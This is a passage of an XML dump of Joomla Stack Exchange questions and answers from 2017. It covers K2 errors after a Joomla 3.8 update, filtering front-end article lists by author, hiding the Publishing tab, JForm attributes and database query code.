  <row Id="21794" PostTypeId="2" ParentId="9605" CreationDate="2017-10-26T16:01:42.767" Score="1" Body="&lt;p&gt;IMHO, the clearest solution for this situation would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;adding &lt;code&gt;&amp;amp;format=json&lt;/code&gt; to your query, and point it to whatever view you would like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var response = jQuery.ajax({&#xA;  type: &quot;GET&quot;,   &#xA;  url: &quot;index.php?option=com_virtuemart&amp;amp;view=order&amp;amp;order_id=&amp;lt;?php echo $this-&amp;gt;orderdetails['details']['BT']-&amp;gt;virtuemart_order_id; ?&amp;gt;&amp;amp;format=json&quot;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you need to add &lt;code&gt;view.json.php&lt;/code&gt; at &lt;code&gt;components/com_virtuemart/view/order/&lt;/code&gt;&#xA;and do whatever you need at &lt;code&gt;display()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-10-26T16:01:42.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21795" PostTypeId="2" ParentId="21770" CreationDate="2017-10-26T19:23:36.447" Score="0" Body="&lt;p&gt;&lt;em&gt;Take these simple steps ...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Global Check-in...&lt;/strong&gt; &#xA;/administrator/index.php?option=com_checkin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clean cache...&lt;/strong&gt; &#xA;/administrator/index.php?option=com_cache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clean expired cache...&lt;/strong&gt; &#xA;/administrator/index.php?option=com_cache&amp;amp;view=purge&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;and then...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fix database...&lt;/strong&gt; &#xA;/administrator/index.php?option=com_installer&amp;amp;view=database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Finally, try again.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1660" LastActivityDate="2017-10-26T19:23:36.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21796" PostTypeId="2" ParentId="20961" CreationDate="2017-10-26T19:47:54.340" Score="0" Body="&lt;p&gt;From what I understand, the custom field type references a system field type of the same name.  So when you copied the custom field plugin and renamed it, it now referenced a system field type that didn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking at doing the same thing, but it's a lot more work than just creating a plugin.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-10-26T19:47:54.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21799" PostTypeId="1" AcceptedAnswerId="21801" CreationDate="2017-10-27T11:26:52.987" Score="2" ViewCount="1231" Body="&lt;p&gt;my client has updated to the latest version of Joomla: 3.8.1 und K2 to 2.8.0. Frontend and Backend are working, but it is not possible to edit a k2 item or k2 category. List view is working, but not the edit view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a stack trace:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/psWve.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/psWve.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the idea given below, I could find that the cause of the error comes from a custom k2-plugin which I wrote for that client. Within the &lt;code&gt;xml manifest&lt;/code&gt; file of that plugin those defined fields cause the trouble&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;  name=&quot;lnk_items&quot; &#xA;  type=&quot;litems&quot; &#xA;  default=&quot;&quot;&#xA;  label=&quot;K2_DRAG_AND_DROP_TO_REORDER_ITEMS&quot;&#xA;  description=&quot;…&quot;/&amp;gt;&#xA;&#xA;&#xA;&amp;lt;field &#xA; name=&quot;lnk_category&quot; &#xA; type=&quot;lcategoriesmultiple&quot; &#xA; default=&quot;&quot; &#xA; label=&quot;K2_SELECT_ONE_OR_MORE_CATEGORIES&quot;&#xA; description=&quot;…&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I comment out those fields, no error appears, but the plugin cannot work as expected, too.&lt;/p&gt;&#xA;" OwnerUserId="2246" LastEditorUserId="2246" LastEditDate="2017-11-03T10:57:17.420" LastActivityDate="2017-11-06T23:34:41.250" Title="K2 Item view —Call to undefined method K2HelperHTML::loadjQuery()" Tags="|k2|joomla3.8|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21800" PostTypeId="1" AcceptedAnswerId="21814" CreationDate="2017-10-27T12:23:34.850" Score="2" ViewCount="1073" Body="&lt;p&gt;I'm very new to Joomla (version3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When any registered user is logged in they can see a new menu which contains an item to show the Articles list. This works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to happen is to show only those articles written by the currently logged in use - so they can only see their own articles to view or edit etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iv seen a number of methods - including one about making a new category module, but these do not work as expected, and all users can still see articles by other people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be greatly appreciated. I have no problem editing files, I just have no idea which file to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="11714" LastEditorUserId="126" LastEditDate="2017-11-10T08:14:07.367" LastActivityDate="2021-03-17T11:32:19.457" Title="Menu item - Articles List - Filter by user" Tags="|articles|user|overrides|template-override|com-content|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21801" PostTypeId="2" ParentId="21799" CreationDate="2017-10-27T12:55:58.297" Score="2" Body="&lt;p&gt;&quot;items.php&quot; no longer exists in K2 (as of 2.8.0). I think you have a problem in your &lt;code&gt;libraries&lt;/code&gt; folder because of the Joomla update. It might be that you have some reminiscent files from a previous Joomla version. Please check &lt;a href=&quot;https://www.itoctopus.com/call-to-undefined-method-japplicationsiteisclient-when-updating-to-joomla-3-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; - in short rename your old &lt;code&gt;libraries&lt;/code&gt; folder and copy a fresh one from a Joomla zip file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, then try uninstalling and then re-installing K2 (instead of just updating). If I'm not mistaken, K2 does not delete its data when it's uninstalled. In any case, backup up your website is a must before doing such thing.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-27T12:55:58.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21802" PostTypeId="2" ParentId="18984" CreationDate="2017-10-27T13:02:01.427" Score="1" Body="&lt;p&gt;You're lucky that your website told you that the error is generated by ModSecurity, which must have helped you a lot in addressing the problem. Addressing any ModSecurity issue either consists of 1) Addressing the code triggering the ModSecurity rule, or 2) Whitelisting the ModSecurity rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can whitelist a ModSecurity rule in a specific folder.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-27T13:02:01.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21803" PostTypeId="2" ParentId="21791" CreationDate="2017-10-27T13:14:53.960" Score="1" Body="&lt;p&gt;There is absolutely no way to do this from within a plugin, this is because Joomla starts accessing the database way before loading the plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to do this is from within the &lt;code&gt;configuration.php&lt;/code&gt; file, where you should have the logic (you should create a function called &lt;code&gt;getTablePrefix&lt;/code&gt; there). You must ensure though that Joomla cannot write to this file, because if it does so, then it will destroy your changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have thought about doing this through the &lt;code&gt;defines.php&lt;/code&gt; file, but it can't be done there because it is loaded before the configuration is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excellent question by the way, but I'm also curious on why you need to have a different set of tables for each user. Maybe the best solution would be to rethink the whole logic.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-27T13:14:53.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21804" PostTypeId="2" ParentId="14929" CreationDate="2017-10-27T14:47:46.593" Score="1" Body="&lt;p&gt;You can adjust your code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.user_id as id') /* changed to load object and insert it */&#xA;    -&amp;gt;from('#__user_usergroup_map as a')&#xA;    -&amp;gt;leftJoin('#__clients AS b ON a.user_id = b.id') /* you should join with &quot;=&quot; not with &quot;!=&quot; */&#xA;    -&amp;gt;where('a.group_id = ' . $db-&amp;gt;quote(&quot;10&quot;))&#xA;    -&amp;gt;where('b.id IS NULL'); /* and filter to &quot;new only&quot; like this */&#xA;$ncl = $db-&amp;gt;setQuery($query)-&amp;gt;loadColumn();&#xA;print_r($ncl);&#xA;&#xA;foreach($ncl as $encl) {&#xA;    $db-&amp;gt;insertObject('#__clients',$encl); /* less code this way */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it would work fine with this code, but you can go further and make it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$sel_query = $db-&amp;gt;getQuery(true);&#xA;$ins_query = $db-&amp;gt;getQuery(true);&#xA;$sel_query-&amp;gt;select('a.user_id as id')&#xA;    -&amp;gt;from('#__user_usergroup_map as a')&#xA;    -&amp;gt;leftJoin('#__clients AS b ON a.user_id = b.id')&#xA;    -&amp;gt;where('a.group_id = ' . $db-&amp;gt;quote(&quot;10&quot;))&#xA;    -&amp;gt;where('b.id IS NULL');&#xA;$ins_query-&amp;gt;insert('#__clients')&#xA;    -&amp;gt;columns('id')&#xA;    -&amp;gt;values($sel_query);&#xA;$db-&amp;gt;setQuery(str_replace('VALUES','',$ins_query))-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way you'll do the job with single request.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2017-11-24T14:16:09.717" LastActivityDate="2017-11-24T14:16:09.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21806" PostTypeId="1" AcceptedAnswerId="21837" CreationDate="2017-10-27T19:08:27.287" Score="0" ViewCount="291" Body="&lt;p&gt;I'm missing something.  I've written a plugin to manipulate specific custom user fields (the new custom fields extension).  I create the fields, and make them required, but in /adminstrator I remove the required attribute using: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('fieldname','required','','com_fields');&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That part works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my plugin, I also identify groups which will be relieved of the requirement in the frontend - but none of those attribute changes seem to stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I print_r the $form variable before and after I make my change - I can see the change is made in the JFormXML object - but the form still displays the field as required.  I can add a class attribute and it shows up in the backend - but not the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even went so far as to execute &lt;code&gt;$form-&amp;gt;removeField('fieldname','com_fields')&lt;/code&gt; and to my surprise, the field re-appeared at the bottom of the field group (from first to last)! There seems to be no way to modify these fields in the front-end....unless I'm missing something.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-11-03T20:27:39.753" Title="JForm::setFieldAttribute frontend vs backend usage" Tags="|jform|com-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21807" PostTypeId="2" ParentId="1150" CreationDate="2017-10-28T20:35:01.170" Score="2" Body="&lt;p&gt;Joomla @since 3.2, field UserGroupList uses this to check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$isSuperUser = JFactory::getUser()-&amp;gt;authorise('core.admin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11715" LastEditorUserId="1520" LastEditDate="2017-10-29T07:10:50.960" LastActivityDate="2017-10-29T07:10:50.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21809" PostTypeId="1" AcceptedAnswerId="21810" CreationDate="2017-10-29T09:43:07.157" Score="3" ViewCount="1660" Body="&lt;p&gt;My registered users can log in to see, create and edit only their own articles. This works fine. However, when a user creates or edits an article, the &quot;&lt;em&gt;Publishing&lt;/em&gt;&quot; tab appears at the top with &quot;&lt;em&gt;Content&lt;/em&gt;&quot; and &quot;&lt;em&gt;Language&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do NOT want the &quot;&lt;em&gt;Publishing&lt;/em&gt;&quot; tab to be seen at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iv hunted around for this but it seems that all of the help available is for earlier versions of Joomla, and they do not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iv been into the &lt;code&gt;Global Configuration-&amp;gt;Articles-&amp;gt;Editing Layout&lt;/code&gt; Panel and everything is set to &quot;&lt;em&gt;Hide&lt;/em&gt;&quot;, but the Publishing Tab is still visible. Limited, but still visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following some advice I have over-ridden &lt;code&gt;com-content-&amp;gt;form&lt;/code&gt; but I cant find the code in there to hide this tab and the advice appears to have been for an earlier version of Joomla!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Over-riding the &lt;code&gt;com-content-&amp;gt;form&lt;/code&gt; has offered possibilities however removing the code that apparently houses the Publishing tab, while removing the tab, prevents users from saving new articles because the category needs to be set (Not sure why - the default is Uncategorised and not setting it works fine when the Publishing tab is visible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still a little lost with this.&lt;/p&gt;&#xA;" OwnerUserId="11714" LastEditorUserId="12352" LastEditDate="2021-04-24T21:01:17.967" LastActivityDate="2021-04-24T21:01:17.967" Title="Joomla! 3.8 - How to hide Publishing Tab in front end" Tags="|overrides|form|front-end|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21810" PostTypeId="2" ParentId="21809" CreationDate="2017-10-29T11:43:05.917" Score="2" Body="&lt;p&gt;Okay, a solution has been found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that somewhere in the back end a new article requires the category to be set. It also appears that its a lot easier to pick and choose what items to see in the Publishing tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that everything is on the publishing tab turned off in the global configuration. This leaves the publishing tab still visible. I &lt;em&gt;thought&lt;/em&gt; that I wanted to remove the tab entirely, but since I would like my users to be able to delete their own articles, this is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get things to fit I have over-ridden the &lt;code&gt;com-content-&amp;gt;form&lt;/code&gt; and edited the edit.php file. Removing this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('access'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has left me with a Publishing tab where each user can set their tags and their categories, and publish/trash etc, but cannot change the access level, which was my main concern originally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking further at the same file it would appear that other sections of the Publishing tab could be removed or edited if need be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, that's my solution. I hope posting an answer myself is not considered bad form.&lt;/p&gt;&#xA;" OwnerUserId="11714" LastActivityDate="2017-10-29T11:43:05.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21811" PostTypeId="2" ParentId="21551" CreationDate="2017-10-29T13:34:08.157" Score="0" Body="&lt;p&gt;Verify the correct Port.  Gmail uses Port 587 for StartTLS, not 465.&lt;/p&gt;&#xA;" OwnerUserId="8913" LastActivityDate="2017-10-29T13:34:08.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21812" PostTypeId="2" ParentId="21809" CreationDate="2017-10-29T14:08:59.323" Score="2" Body="&lt;p&gt;Apart of customizing the Article Edit Form - you could consider using 3rd party extensions.&lt;/p&gt;&#xA;&lt;p&gt;There are 2 major types/categories of extensions that would be suitable for this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Front-end article management&lt;/li&gt;&#xA;&lt;li&gt;CCK integration&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;1. Front-end article management&lt;/h2&gt;&#xA;&lt;p&gt;Front-end article management extensions are designed to offer front-end authoring/moderation capabilities to Joomla.&lt;/p&gt;&#xA;&lt;p&gt;JED categories:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/content-submission/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/content-submission/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/authoring-content/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/authoring-content/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Some extensions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a promising newcomer in this category made by the well-know StackIdeas. The extension is called &lt;a href=&quot;https://stackideas.com/easyarticles&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;easyArticles&lt;/strong&gt;&lt;/a&gt; and you can test it online &lt;a href=&quot;https://stackideas.com/demo&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/article-factory-manager/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/article-factory-manager/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/form2content-lite/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/form2content-lite/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomlatools.com/extensions/textman/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlatools.com/extensions/textman/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;2. CCKs Integration&lt;/h2&gt;&#xA;&lt;p&gt;Briefly, using a CCK you can create your own content-kit/content-workflow. There are CCKs that can be integrated with Joomla articles and allow you to create your own forms.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/form2content-lite/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/form2content-lite/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fabrik&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.seblod.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Seblod&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-10-29T14:08:59.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21813" PostTypeId="2" ParentId="21800" CreationDate="2017-10-29T14:22:21.703" Score="1" Body="&lt;p&gt;I just posted this answer to another question - which is not exactly the same but the requirements are very similar and fall under the same context, which is &amp;quot;Front-end Authoring&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;That question is:&#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/21809/joomla-3-8-how-to-hide-publishing-tab-in-front-end&quot;&gt;Joomla! 3.8 - How to hide Publishing Tab in front end&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, in your case, you may also find useful this information and will be good to know your options and possibilities:&lt;/p&gt;&#xA;&lt;p&gt;I am pasting my other answer here slightly modified:&lt;/p&gt;&#xA;&lt;p&gt;Apart of any customizations - you could consider using 3rd party extensions.&lt;/p&gt;&#xA;&lt;p&gt;There are 2 major types/categories of extensions that would be suitable for this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Front-end article management&lt;/li&gt;&#xA;&lt;li&gt;CCK integration&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;1. Front-end article management&lt;/h2&gt;&#xA;&lt;p&gt;Front-end article management extensions are designed to offer front-end authoring/moderation capabilities to Joomla.&lt;/p&gt;&#xA;&lt;p&gt;JED categories:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/content-submission/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/content-submission/&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/authoring-content/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/authoring-content/&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Some extensions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a promising newcomer in this category made by the well-know StackIdeas. The extension is called &lt;a href=&quot;https://stackideas.com/easyarticles&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;easyArticles&lt;/strong&gt;&lt;/a&gt; and you can test it online &lt;a href=&quot;https://stackideas.com/demo&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/article-factory-manager/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/article-factory-manager/&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/form2content-lite/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/form2content-lite/&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.joomlatools.com/extensions/textman/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlatools.com/extensions/textman/&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;2. CCKs Integration&lt;/h2&gt;&#xA;&lt;p&gt;Briefly, using a CCK you can create your own content-kit/content-workflow. There are CCKs that can be integrated with Joomla articles and allow you to create your own forms and lists. For example, with Fabrik you can create menu-items for articles lists to show articles only of the current user. Deep permissions configurations are also possible with such extensions, opening many possibilities.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/form2content-lite/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/form2content-lite/&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Fabrik&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.seblod.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Seblod&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-12-13T17:27:09.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21814" PostTypeId="2" ParentId="21800" CreationDate="2017-10-30T06:59:01.617" Score="1" Body="&lt;p&gt;As per the suggestion by Nisse Engström (Many thanks) Ill post my solution here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having hunted around for an answer to this question for quite a while I have found a working solution and post it here in the hope that others might find this helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective was to allow logged in users to see an articles list which only included their own articles and those of the SuperUser - they should only be able to edit their own articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this work the setup is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default Install and using the Protostar template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Override the file: &quot;&lt;em&gt;com_content/category/default_articles.php&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 135 you can see the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;items as $i =&amp;gt; $article)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Directly below this line I have added the following code (Note that user 232 is my SuperUser - yours may have a different ID):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;items[$i]-&amp;gt;created_by == JFactory::getUser()-&amp;gt;id || $this-&amp;gt;items[$i]-&amp;gt;created_by == JFactory::getUser(232)-&amp;gt;id) :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is closed again on line 261 with a standard '&lt;code&gt;endif&lt;/code&gt;'. Note that this is directly above the closing '&lt;code&gt;endforeach&lt;/code&gt;' that started around line 135.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is precisely what I wanted to see. Logged in users can now only see their own articles (and those of the Superuser, although they cannot edit these), and can submit new articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a little tweaking of permissions each user can now create, edit, publish and trash only their own articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea if this is the &quot;&lt;em&gt;Right&lt;/em&gt;&quot; way to achieve this result, but it works exactly as I wanted it to, and I am more than happy for experienced users to show alternative methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Possible future issue&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is fired as Joomla loads the list of articles and as such will be fired many, many times as more and more users create more and more articles. Perhaps this will cause a slow down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway.....&lt;/p&gt;&#xA;" OwnerUserId="11714" LastActivityDate="2017-10-30T06:59:01.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21816" PostTypeId="2" ParentId="21770" CreationDate="2017-10-30T17:41:40.223" Score="1" Body="&lt;p&gt;This problem is very common now - and it is usually caused by a manual update of the Joomla website, which typically results in a &lt;code&gt;libraries&lt;/code&gt; folder that is not compatible with the current Joomla website. A quick resolution to this problem is to rename your libraries folder and then recopy a libraries folder from a Joomla 3.8.1 install. See &lt;a href=&quot;https://www.itoctopus.com/call-to-undefined-method-japplicationsiteisclient-when-updating-to-joomla-3-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help, then try recoyping the &lt;code&gt;administrator/components/com_content&lt;/code&gt; folder to your Joomla website (from Joomla 3.8.1) after renaming the old &lt;code&gt;com_content&lt;/code&gt; folder.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-30T17:41:40.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21817" PostTypeId="2" ParentId="21547" CreationDate="2017-10-30T23:45:34.863" Score="2" Body="&lt;p&gt;Check the &lt;code&gt;$name&lt;/code&gt; and &lt;code&gt;$prefix&lt;/code&gt; variables that are passing over &lt;code&gt;getModel&lt;/code&gt; function on your controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$name&lt;/code&gt; = NAME_OF_YOUR_EDIT_VIEW&lt;br&gt;&#xA;&lt;code&gt;$prefix&lt;/code&gt; = COMPONENT_NAME + &lt;code&gt;Model&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11719" LastEditorUserId="1520" LastEditDate="2017-10-31T14:52:53.017" LastActivityDate="2017-10-31T14:52:53.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
